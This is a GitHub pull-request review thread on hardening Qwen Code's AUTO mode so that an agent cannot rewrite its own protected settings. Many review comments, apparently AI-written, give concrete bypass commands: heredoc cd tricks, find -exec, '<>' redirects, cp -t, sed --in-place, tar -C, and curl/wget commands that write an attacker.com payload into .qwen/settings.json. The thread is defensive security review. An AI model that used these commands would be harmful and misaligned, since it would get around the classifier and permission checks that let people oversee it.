— qwen3.7-max via Qwen Code /review

* Ordered by length (longest first) for correct multi-char operator detection.
*/
const SHELL_OPERATORS = ['&&', '||', ';;', '|&', '|', ';'];
const SHELL_OPERATORS = ['&&', '||', ';;', '|&', '|', ';', '\n'];

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Adding \n as a command boundary does not track heredoc syntax (<<'DELIM', <<DELIM). Lines inside a heredoc body that happen to start with cd are parsed as real cd commands by resolveCdTargetCwd, shifting the effective cwd for all subsequent segments.

An adversary can exploit this to redirect cwd-tracking away from a protected directory:

cd .qwen
cat <<'EOF'
cd /tmp
EOF
echo > settings.json

splitCompoundCommand produces: ["cd .qwen", "cat <<'EOF'", "cd /tmp", "EOF", "echo > settings.json"]. The cd /tmp (heredoc content, never executed) shifts effectiveCwd to /tmp. The final echo > settings.json resolves to /tmp/settings.json — not a protected path — so shouldForceAutoModeReviewForAllow returns false and the write auto-approves under a broad Bash(*) allow rule.

Suggested fix: make splitCompoundCommand heredoc-aware (track <</<<-/<<< and skip to the matching delimiter line), or conservatively mark all segments following a heredoc-introducing segment as cwdUnknown.

— qwen3.7-max via Qwen Code /review

);
}

const subOps = extractShellOperations(sub, effectiveCwd);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The find command handler only extracts starting-point directories as list_directory ops and never analyzes -exec, -execdir, -ok, or -okdir clause arguments for writes. For find . -exec cp payload .qwen/settings.json \;, only [{ virtualTool: 'list_directory', filePath: '/repo' }] is returned — zero write ops are emitted.

Since walkCompoundCommand dispatches per-segment analysis through extractShellOperations (this call), the -exec inner command is completely invisible to both the PermissionManager virtual-op pass and the AUTO mode shouldForceAutoModeReviewForAllow guard. An attacker can use find to write to protected paths without triggering classifier review.

Suggested fix: when -exec/-execdir is encountered, collect tokens until \; or +, reconstruct the inner command, and recurse via extractShellOperationsAcrossCommand to extract its virtual ops.

— qwen3.7-max via Qwen Code /review

Comment thread packages/core/src/permissions/shell-semantics.ts Fixed
skipClassifier: fallback.fallback,
});

const outcome = applyAutoModeDecision(

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The pending-tool forceAutoReviewForAllow block (lines 3322–3402) omits the permissionDenied hook that the main AUTO-mode path fires at lines 1753–1765. After applyAutoModeDecision, the main path checks shouldFirePermissionDeniedForAutoMode(decision, outcome) and calls firePermissionDeniedEvent. This pending-tool copy skips it entirely, going straight to the switch.

Additionally, the blocked branch (lines 3356–3380: error response construction, span finalization, telemetry) and fallback branch (lines 3382–3390: debug log, tool skipped) have zero test coverage — the single test at coreToolScheduler.test.ts:2752 only covers the approved path.

Impact: (1) Audit/notification hooks silently miss denials for pending sister tools. (2) Bugs in the blocked/fallback branches (span lifecycle, error response format) could go undetected.

Suggested fix: Add the hook-firing block before the switch:

if (
  !this.config.getDisableAllHooks() &&
  shouldFirePermissionDeniedForAutoMode(decision, outcome)
) {
  await this.config
    .getHookSystem?.()
    ?.firePermissionDeniedEvent(
      pendingTool.request.name,
      toolParams,
      pendingTool.request.callId,
      getAutoModePermissionDeniedReason(decision),
      signal,
    );
}

And add tests for blocked (assert error status + denial message) and fallback (assert tool skipped without scheduling).

— qwen3.7-max via Qwen Code /review

// Also resets the denialTracking streak so a following
// classifier-eligible call doesn't surprise the user with a manual
// prompt right after an allow-rule call just worked.
const forceAutoReviewForAllow =

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The ACP Session integration adds shouldForceAutoModeReviewForAllow override here (one of two entry points for this security guard), but Session.test.ts was not modified in this PR — there are zero tests for this path.

The coreToolScheduler has one test (approved path only); the ACP path has none. If the ACP path has a logic error (e.g., autoModeAllowed condition inverted, confirmationPermission passed to wrong downstream), protected writes bypass the classifier in IDE/daemon sessions while being caught in CLI sessions.

Suggested fix: Add at least one test in Session.test.ts that configures AUTO mode with a Bash(*) allow rule and a shell command writing .qwen/settings.json, then asserts the session routes through the classifier/confirmation flow instead of auto-approving.

— qwen3.7-max via Qwen Code /review


function hasRawProtectedRedirect(command: string, cwd: string): boolean {
for (let i = 0; i < command.length; i++) {
if (command[i] !== '>') continue;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] <> bidirectional redirect bypasses hasRawProtectedRedirect

if (command[i - 1] === '<') continue; is intended to skip << heredoc markers, but << never produces a > character — the two < characters are both consumed before the scanner reaches a >. The only bash construct where < immediately precedes > is <> (bidirectional redirect), which opens the file for both reading and writing.

# Bypasses hasRawProtectedRedirect entirely:
echo <> .qwen/settings.json
cat <> .qwen/settings.json

Fix: distinguish <> from the (impossible) << case:

Suggested change
if (command[i] !== '>') continue;
if (command[i - 1] === '<') {
// <> is a bidirectional redirect (opens file for writing);
// << never produces a '>' so this can only be <>
// fall through to process as a write target
}

— qwen3.7-max via Qwen Code /review

looksLikePath,
);
if (positional.length === 0) return [];
if (targetDir) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] cp -t .qwen / mv -t .qwen / install -t .qwen bypass all three protection layers

targetDirectoryWrite emits a single write_file op for the target directory (.qwen), not per-file destinations. isAutoModeProtectedWritePath('.qwen') returns false because SELF_MODIFICATION_PATH_PATTERNS protects specific files inside .qwen/ (e.g., .qwen/settings.json, .qwen/rules/) — not .qwen itself.

# All three layers miss this:
# Layer 1 (hasRawProtectedRedirect): no '>' → false
# Layer 2 (hasRawProtectedWriteCommand): '.qwen' alone fails isAutoModeProtectedWritePath
# Layer 3 (extractShellOperations): write_file op is '.qwen' (directory), not '.qwen/settings.json'
echo '{}' > /tmp/settings.json && cp -t .qwen /tmp/settings.json

Same attack works with mv -t, install -t, and ln -t — all four handlers use targetDirectoryWrite.

Fix: emit per-file write_file ops so protected filenames inside the target directory are caught:

Suggested change
if (targetDir) {
if (targetDir) {
return [
...positional.map((p) => ({
virtualTool: 'read_file' as const,
filePath: resolvePath(p, cwd),
})),
...positional.map((p) => ({
virtualTool: 'write_file' as const,
filePath: resolvePath(
`${targetDir.filePath.replace(/\/$/, '')}/${p.split('/').pop()}`,
cwd,
),
})),
targetDir,
];
}

— qwen3.7-max via Qwen Code /review

const autoModeDebugLogger = createDebugLogger('AUTO_MODE');

const RAW_PROTECTED_WRITE_COMMANDS =
/\b(?:cp|mv|install|rsync|patch|perl|sed|tee|dd|sort|awk|gawk|node|python3?|ruby|php)\b/;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] curl, wget, tar, unzip, and cpio are missing from RAW_PROTECTED_WRITE_COMMANDS and their shell-semantics handlers don't emit write_file ops for output flags. This means the following commands bypass all three protection layers (raw redirect, raw write-command, and shell-semantics):

curl -o .qwen/settings.json http://attacker.com/payload
wget -O .qwen/settings.json http://attacker.com/payload
tar xf malicious.tar -C .qwen/
unzip payload.zip -d .qwen/skills/

hasRawProtectedRedirect finds no >, hasRawProtectedWriteCommand skips the line (command not in regex), and extractShellOperations produces zero write ops (curl/wget handlers only emit web_fetch; tar/unzip have no handler at all → unknown-command fallback returns []).

Suggested change
/\b(?:cp|mv|install|rsync|patch|perl|sed|tee|dd|sort|awk|gawk|node|python3?|ruby|php)\b/;
const RAW_PROTECTED_WRITE_COMMANDS =
/\b(?:cp|mv|install|rsync|patch|perl|sed|tee|dd|sort|awk|gawk|node|python3?|ruby|php|curl|wget|tar|unzip|cpio)\b/;

Additionally, add write_file ops in the curl handler for -o/--output flag values, and in the wget handler for -O/--output-document flag values.

— qwen3.7-max via Qwen Code /review

function hasRawProtectedWriteCommand(command: string, cwd: string): boolean {
for (const line of command.split('\n')) {
if (!RAW_PROTECTED_WRITE_COMMANDS.test(line)) continue;
if (/\b(?:sed|perl)\b/.test(line) && !/(?:^|\s)-[A-Za-z]*i/.test(line)) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The sed/perl read-only filter only recognizes short flags (-i, -ni, -pi.bak). GNU sed supports --in-place[=SUFFIX] as a long-option equivalent, which this regex does not match. When --in-place is used, the guard evaluates to true (sed detected, no -i found), so continue fires and the entire line is skipped — .qwen/settings.json passes through undetected.

sed --in-place 's/x/y/' .qwen/settings.json  # bypasses all three layers

The shell-semantics sed handler (line ~1534) has the same gap: it checks a === '-i' || a.startsWith('-i') || hasCombinedShortFlag(a, 'i'), none of which match --in-place.

Suggested change
if (/\b(?:sed|perl)\b/.test(line) && !/(?:^|\s)-[A-Za-z]*i/.test(line)) {
if (/\b(?:sed|perl)\b/.test(line) && !/(?:^|\s)(?:-[A-Za-z]*i|--in-place)/.test(line)) {

Also update the shell-semantics hasInPlace check:

const hasInPlace = args.some(
  (a) => a === '-i' || a.startsWith('-i') || a === '--in-place' ||
         a.startsWith('--in-place=') || hasCombinedShortFlag(a, 'i'),
);

— qwen3.7-max via Qwen Code /review

'',
);
if (!target || target.startsWith('-')) continue;
if (target.includes('$')) return true;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] target.includes('$') fires on any token containing $, including awk field references ($1, $NF), perl variables ($_), and node/python inline scripts with $ in string literals. Since awk, gawk, node, python3?, ruby, and php were just added to RAW_PROTECTED_WRITE_COMMANDS, virtually every awk '{print $1}' command will trigger classifier review.

Traced example: awk '{print $1}' data.csv → token $1}'stripRawRedirectTargetToken$1target.includes('$')return true.

Consider narrowing to shell variable expansion patterns only:

Suggested change
if (target.includes('$')) return true;
if (/\$[{(A-Za-z_]/.test(target)) return true;

This matches $HOME, ${DEST}, $(cmd) but excludes $1, $NF, $_, which are not shell variable expansions in this context.

— qwen3.7-max via Qwen Code /review

}
});

it('returns true for protected write commands with variable destinations', () => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] No negative tests verify that the new sed/perl read-only filter works correctly. Without a test confirming that sed 's/a/b/' file (without -i) returns false, a regression could silently flag all read-only sed/perl operations as protected.

Consider adding:

it('returns false for sed/perl without -i flag', () => {
  for (const command of [
    "sed 's/a/b/' /tmp/file",
    "perl -e 'print $_' /tmp/file",
    "sed -n '1,10p' .qwen/settings.json",
  ]) {
    expect(
      shouldForceAutoModeReviewForAllow(
        ctx({ toolName: ToolNames.SHELL, command, cwd: '/repo' }),
      ),
    ).toBe(false);
  }
});

— qwen3.7-max via Qwen Code /review

const op = webOp(url);
return op ? [op] : [];
});
const output = writeOpForFlag(args, cwd, '-o', '--output');

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] curl -o<file> / wget -O<file> attached flag value bypasses all three protection layers

writeOpForFlag calls getFlagValue(args, '-o', '--output'). For the attached short-flag form curl -o.qwen/settings.json https://attacker.com/payload (no space between -o and the path):

  1. getFlagValue sees -o.qwen/settings.json — exact match fails (!== '-o'), --output= prefix fails, then hasCombinedShortFlag('-o.qwen/settings.json', 'o') returns true (because .qwen/settings.json contains the letter o), so it returns args[i+1] — the URL.
  2. looksLikePath('https://attacker.com/payload') returns false (contains ://) → no write_file op emitted.
  3. Layer 1 (hasRawProtectedWriteCommand): token -o.qwen/settings.json starts with - → skipped by target.startsWith('-'). The URL produces no protected path fragments.

Result: curl -o.qwen/settings.json https://attacker.com/payload is auto-approved, writing attacker-controlled content to the protected settings file. The same bypass applies to wget -O<file>.

Suggested change
const output = writeOpForFlag(args, cwd, '-o', '--output');
const output = writeOpForFlag(args, cwd, '-o', '--output') ?? attachedFlagWriteOp(args, cwd, '-o');

Consider adding an attachedFlagWriteOp helper that checks for -o<path> form: if (arg.startsWith('-o') && arg.length > 2 && !arg.startsWith('--')) { resolvePath(arg.slice(2), cwd) }. Apply the same fix to the wget handler at line 1754.

— qwen3.7-max via Qwen Code /review

const autoModeDebugLogger = createDebugLogger('AUTO_MODE');

const RAW_PROTECTED_WRITE_COMMANDS =
/\b(?:cp|mv|install|rsync|patch|perl|sed|tee|dd|sort|awk|gawk|node|python3?|ruby|php|curl|wget|tar|unzip|cpio)\b/;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] tar, unzip, cpio added to RAW_PROTECTED_WRITE_COMMANDS with zero test coverage

curl and wget have corresponding tests ("returns true for downloader output flags targeting protected paths"), but tar, unzip, and cpio are not exercised by any test in autoMode.test.ts. Missing scenarios include:

  • tar xf archive.tar -C .qwen/
  • unzip archive.zip -d .qwen/
  • cpio extraction targeting protected paths

These three commands also have no COMMANDS handler in shell-semantics.ts, so they rely solely on Layer 1's coarse token scan. A comment near the regex explaining this design choice (Layer 1 only, no Layer 2 handlers) would help future maintainers understand the asymmetry with curl/wget.

— qwen3.7-max via Qwen Code /review

}
});

it('returns true for archive extraction commands targeting protected dirs', () => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Archive extraction bypass: the test only covers space-separated flags (-C .qwen/skills), but the attached form (-C.qwen/skills) and long-form (--directory=.qwen/skills) bypass all three L5.1 protection layers. In hasRawProtectedWriteCommand (autoMode.ts:345), target.startsWith('-') skips flag tokens including attached values like -C.qwen/skills. There are no tar/unzip/cpio handlers in shell-semantics.ts, so extractShellOperationsAcrossCommand emits no write ops. hasRawProtectedRedirect finds no >. The command reaches only the fail-open stage-1 classifier.

Add attached-form test cases and fix hasRawProtectedWriteCommand to extract values from --flag=value and attached short flags:

Suggested change
it('returns true for archive extraction commands targeting protected dirs', () => {
it('returns true for archive extraction commands targeting protected dirs', () => {
for (const command of [
'tar xf payload.tar -C .qwen/skills',
'tar xf payload.tar -C.qwen/skills',
'tar xf payload.tar --directory=.qwen/skills',
'unzip payload.zip -d .qwen/skills',
'unzip payload.zip -d.qwen/skills',
'cpio -i -D .qwen/skills',
'cpio -i -D.qwen/skills',
]) {

— qwen3.7-max via Qwen Code /review

}

function resolveTimeoutMs(value: number | undefined, fallback: number): number {
return typeof value === 'number' && Number.isFinite(value) && value > 0

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] resolveTimeoutMs accepts pathologically low positive values (e.g. 1) that pass validation but cause silent fail-closed on every classifier call. The resulting shouldBlock=true, unavailable=true verdict is indistinguishable from a real API outage — a 3AM oncall engineer would investigate API health, network, and rate limits before discovering the root cause is a config value. Add a minimum bound:

Suggested change
return typeof value === 'number' && Number.isFinite(value) && value > 0
function resolveTimeoutMs(value: number | undefined, fallback: number): number {
return typeof value === 'number' && Number.isFinite(value) && value >= 1000
? value
: fallback;
}

Also consider logging the resolved settings at debugLogger.info on first call so operators can see effective timeout values without code changes.

— qwen3.7-max via Qwen Code /review

}
if (arg.startsWith(`${longName}=`)) {
return arg.slice(longName.length + 1);
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] getFlagValue returns =value (with leading =) for short-flag-with-equals syntax. For curl -o=.qwen/settings.json, isAttachedShortFlagValue matches, then arg.slice(shortName.length) yields =.qwen/settings.json — the = is included in the parsed path. Strip the leading =:

Suggested change
}
if (isAttachedShortFlagValue(arg, shortName)) {
return arg.slice(shortName.length).replace(/^=/, '');
}

— qwen3.7-max via Qwen Code /review

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] awk -i inplace always emits read_file — no in-place detection (shell-semantics.ts:1597)

The awk handler (line 1597) always returns virtualTool: 'read_file' regardless of whether -i inplace is present. For awk -i inplace '{gsub(/x/,"y")}1' file.txt, GNU awk modifies file.txt in place, but the handler emits read_file. This contrasts with sed (line 1556) and perl (line 1525), which both detect -i/--in-place and emit edit. Additionally, gawk has no handler in the COMMANDS table at all.

Fix: Add in-place detection to the awk handler, mirroring the sed/perl pattern.

(Posted as a body-level comment because the error is on a line not touched by this PR's diff.)

— qwen3.7-max via Qwen Code /review

while (i < args.length && args[i] !== ';' && args[i] !== '+') {
inner.push(args[i]!);
i++;
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] find -exec inner {} placeholder misclassified by downstream command handlers

looksLikePath (line 207) rejects tokens containing { or }. When extractFindExecOps passes inner args like ['cp', '{}', '.qwen/settings.json'] to the cp handler, getPositionalArgs filters out {} via .filter(looksLikePath). Only .qwen/settings.json remains as a single positional arg, hitting the single-positional branch (line 1213) that emits read_file instead of write_file.

The existing test at shell-semantics.test.ts:177 uses find . -exec cp payload .qwen/settings.json ; (no {}), so this bug is not caught.

Impact: find . -exec cp {} .qwen/settings.json \; produces only a read_file virtual op, bypassing all three auto-mode protection layers.

Suggested change
}
const innerCommand = inner
.map((arg) => (arg === '{}' || arg === '\\{}' ? '_' : arg))
.join(' ');

— qwen3.7-max via Qwen Code /review

if (containsProtectedPathFragment(candidate, cwd)) return true;
}
}
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] patch --output=.qwen/settings.json bypasses all three protection layers

rawProtectedWriteTargets skips tokens starting with -, and rawFlagValue only handles -C/-d/-D/-o/-O/-t/--directory=. For patch --output=.qwen/settings.json -i malicious.patch:

  1. hasRawProtectedRedirect — no > operator → false
  2. hasRawProtectedWriteCommand — token --output=.qwen/settings.json starts with -, rawFlagValue doesn't recognize --output= → returns []
  3. extractShellOperationsAcrossCommandpatch handler's flagsWithValue doesn't include --output → token silently skipped

Same pattern affects rsync --log-file=, patch --reject-file=, and any command whose output-path long flag isn't in rawFlagValue.

Suggested change
}
function rawProtectedWriteTargets(token: string, line: string): string[] {
if (!token) return [];
const flagValue = rawFlagValue(token, line);
if (flagValue) return [flagValue];
if (token.startsWith('-')) {
const eqIndex = token.indexOf('=');
if (eqIndex > 0 && eqIndex < token.length - 1) {
return [token.slice(eqIndex + 1)];
}
return [];
}
return [token];
}

— qwen3.7-max via Qwen Code /review

}

function hasRawProtectedWriteCommand(command: string, cwd: string): boolean {
for (const line of command.split('\n')) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] hasRawProtectedWriteCommand heredoc body false positives

hasRawProtectedWriteCommand splits on \n and processes each line directly without stripping heredoc bodies. Its counterpart extractShellOperationsAcrossCommand calls stripHeredocBodies() before analysis.

For cat <<'EOF'\ncp payload .qwen/settings.json\nEOF, the raw check treats the heredoc body line as executable code: RAW_PROTECTED_WRITE_COMMANDS matches cp, and containsProtectedPathFragment finds .qwen/settings.json — returns true (false positive).

This causes unnecessary classifier review in AUTO mode, adding latency.

Fix: Apply stripHeredocBodies before splitting in hasRawProtectedWriteCommand. Note: stripHeredocBodies is currently private in shell-semantics.ts and would need to be exported.

— qwen3.7-max via Qwen Code /review

}
});

it('returns true for find exec writes with placeholder operands', () => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The new find -exec test only covers -exec. The -execdir, -ok, and -okdir variants are handled by the same extractFindExecOps function but take a distinct branch at shell-semantics.ts:2148marker.endsWith('dir') calls markCwdUnknownOps, which sets cwdUnknown: true on the inner ops. This triggers the autoMode.ts:300 path (if (op.cwdUnknown && op.pathMayDependOnCwd) return true), which is currently untested.

Consider adding a test like:

it('returns true for find execdir writes with placeholder operands', () => {
  expect(
    shouldForceAutoModeReviewForAllow(
      ctx({
        toolName: ToolNames.SHELL,
        command: 'find . -execdir cp {} .qwen/settings.json ;',
        cwd: '/repo',
      }),
    ),
  ).toBe(true);
});

— qwen3.7-max via Qwen Code /review

Comment thread docs/users/features/auto-mode.md Outdated

- **`Blocked by auto mode policy: <reason>`** — the classifier judged
the action unsafe. The reason comes from Stage 2 of the classifier.
- **`Permission for this action has been denied. Reason: <reason>`** —

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Docs/code prefix mismatch: this line still reads Permission for this action has been denied. Reason: <reason>, but commit 3d5c7cd84 changed autoMode.ts:602 to emit Blocked by auto mode policy: <reason>. The PR diff actually reverted this doc line from the correct new prefix back to the old one.

Suggested change
- **`Permission for this action has been denied. Reason: <reason>`**
- **`Blocked by auto mode policy: <reason>`**

— qwen3.7-max via Qwen Code /review

]);
});

it('awk -i inplace: edits files in place', () => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The awk in-place tests only cover -i inplace (short form). The getFlagValue function also handles --include inplace and --include=inplace via distinct code branches. Adding a long-form test guards against future regressions:

it('awk --include=inplace: edits files in place', () => {
  const ops = extractShellOperations(
    'awk --include=inplace \'{gsub(/x/, "y")}1\' /etc/hosts',
    CWD,
  );
  expect(ops).toEqual([{ virtualTool: 'edit', filePath: '/etc/hosts' }]);
});

— qwen3.7-max via Qwen Code /review

@wenshao

wenshao commented Jun 6, 2026

Copy link
Copy Markdown
Collaborator

PR #4572 Local Verification Report

Branch: feat/auto-mode-harden | Commits: 42 | Base: main

Changes Summary (key files)

  • packages/core/src/permissions/autoMode.ts (+342 −63) — Protected write detection, force classifier review for self-modification, shouldForceAutoModeReviewForAllow
  • packages/core/src/permissions/shell-semantics.ts (+700 −56) — Shell command write detection (redirects, tee, cp, mv, awk -i, sort -o, find -execdir, pushd/cd tracking, cwd-relative resolution)
  • packages/core/src/permissions/permission-manager.ts (+172 −77) — Pending auto-allow interception for protected writes
  • packages/core/src/permissions/classifier-prompts/system-prompt.ts (+151 −38) — Split policy into allow/softDeny/hardDeny/environment sections, denial guidance
  • packages/core/src/core/coreToolScheduler.ts (+146 −11) — Route protected writes through classifier, pending auto fallback flow
  • packages/core/src/permissions/classifier.ts (+41 −10) — Minimum classifier timeout, policy structure
  • packages/cli/src/acp-integration/session/Session.ts (+37 −17) — ACP protected Bash auto review
  • packages/cli/src/config/settingsSchema.ts (+99 −2) — softDeny/hardDeny hint schema, allowedWritePaths config
  • Test files: autoMode (+798), shell-semantics (+551), permission-manager (+204), coreToolScheduler (+330), Session (+372), classifier (+89), system-prompt (+96), and more

Test Results

Check Result Details
Core Unit Tests ✅ PASS 1004/1004 passed across 10 test files
CLI Session Tests ✅ PASS 83/83 passed
ESLint ✅ PASS 0 warnings, 0 errors (10 key source files)
TypeCheck (core) ✅ PASS 0 errors
TypeCheck (cli) 🟡 +2 expected 53 total (main has ~38). +2 are build-order: getEffectivePermissionForConfirmation (permissionFlow.ts) and shouldForceAutoModeReviewForAllow (autoMode.ts) not in built core dist/. Resolves after npm run build --workspace=packages/core. Rest are pre-existing @google/genai type mismatches.
Whitespace ✅ PASS git diff --check clean

Test Coverage Highlights

  • autoMode.test.ts (76 tests): Protected write fast-path bypass, classifier force review, PERSISTENCE_PATH_PATTERNS, cwd-sensitive detection
  • shell-semantics.test.ts (96 tests): Redirect detection (>, >>, tee, cp, mv, sort -o, awk -i), cd/pushd cwd tracking, $QWEN_HOME expansion, disguised protected writes, find -execdir
  • permission-manager.test.ts (245 tests): Pending auto-allow interception, protected write routing
  • coreToolScheduler.test.ts (188 tests): Protected Bash writes routed to classifier, pending auto fallback
  • Session.test.ts (83 tests): ACP protected Bash auto review
  • classifier-prompts/system-prompt.test.ts (21 tests): Policy structure, softDeny/hardDeny sections

Verdict

Ready to merge. All 1087 tests pass (1004 core + 83 CLI). Core typecheck clean. Lint clean. The 2 new CLI typecheck errors are standard build-order artifacts that resolve after rebuilding core. Comprehensive test coverage across shell write detection, auto-mode hardening, classifier policy restructuring, and ACP integration.


Verified by wenshao

void _exhaustive;
}
}
if (outcome.kind === 'approved' || outcome.kind === 'blocked') {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Removing 'fallback' from the continue guard causes outcome.kind === 'fallback' to fall through to if (finalPermission === 'allow'), which is always true in this block (the enclosing if at line 3628 guarantees it). This auto-approves protected writes when the classifier is unavailable or denial-tracking arms fallback — exactly the scenario shouldForceAutoModeReviewForAllow was designed to prevent.

The main scheduling path handles this correctly: getEffectivePermissionForConfirmation sets confirmationPermission = 'ask' when forceAutoReviewForAllow is true, so needsConfirmation('ask', ...) forces manual approval. The sister-tool path uses raw finalPermission = 'allow' instead, bypassing that guard.

Scenario: AUTO mode + broad allow rule + classifier unavailable + concurrent tool calls → protected write (e.g., sed -i '…' .qwen/settings.json) is auto-approved without any human or classifier review.

Suggested change
if (outcome.kind === 'approved' || outcome.kind === 'blocked') {
if (
outcome.kind === 'approved' ||
outcome.kind === 'blocked' ||
outcome.kind === 'fallback'
) {
continue;
}

— qwen3.7-max via Qwen Code /review

}

function resolveTimeoutMs(value: number | undefined, fallback: number): number {
return typeof value === 'number' && Number.isFinite(value) && value >= 1000

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The minimum timeout floor changed from > 0 to >= 1000, which silently overrides user-configured values below 1000ms with the default (10s/30s). There's no diagnostic log, so this looks like unexplained classifier slowness during debugging.

Consider logging when the configured value is below the floor:

Suggested change
return typeof value === 'number' && Number.isFinite(value) && value >= 1000
function resolveTimeoutMs(value: number | undefined, fallback: number): number {
if (typeof value === 'number' && Number.isFinite(value) && value > 0 && value < 1000) {
autoModeDebugLogger.warn(
`Classifier timeout ${value}ms below 1000ms floor, using default ${fallback}ms`,
);
}
return typeof value === 'number' && Number.isFinite(value) && value >= 1000
? value
: fallback;
}

— qwen3.7-max via Qwen Code /review

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No issues found. LGTM! ✅ The outcome.kind === 'fallback' addition to the continue guard correctly closes the R23 Critical (protected writes auto-approved via fallthrough), and the debugLogger.warn for sub-floor timeouts addresses the R23 Suggestion. Both fixes are minimal, correct, and well-tested (211 tests pass). — qwen3.7-max via Qwen Code /review

xaelistic pushed a commit to xaelistic/qwen-code that referenced this pull request Jun 7, 2026

@tanzhenxin tanzhenxin left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review

Re-verified against the current head after all the iteration since my last review. The three blocking findings I raised are now fixed:

  1. Leading environment-variable assignment (e.g. FOO=bar echo x > .qwen/settings.json, and the tee / compound cd … && FOO=bar … forms) — the protected write is now detected and routed through the guard instead of being silently dropped.
  2. Quoted heredoc marker (echo '<<EOF' ahead of a protected write on a later line) — quoting is now respected, so the following write is no longer swallowed as a heredoc body.
  3. Redirect attached to cd (cd .qwen >/dev/null && echo > settings.json) — the directory change now resolves statically, so an explicit Write(.qwen/settings.json) deny matches deterministically instead of being softened to a manual prompt.

I confirmed each by running the same disguised commands through the analyzer on this head: all three now surface the protected write at the correct path, with passing controls.

One non-blocking nit for a possible follow-up (not introduced by this PR): a 2>&1 redirect still emits a phantom write op for &1. It's harmless for protected-path matching, but a broad Write(*) rule could spuriously escalate on it.

Thanks for the thorough iteration — the protected-write coverage is in much better shape now.

Verdict

APPROVE

@tanzhenxin tanzhenxin merged commit e62a708 into QwenLM:main Jun 8, 2026
11 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

type/feature-request New feature or enhancement request

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Harden AUTO mode against self-modification and denial bypass

4 participants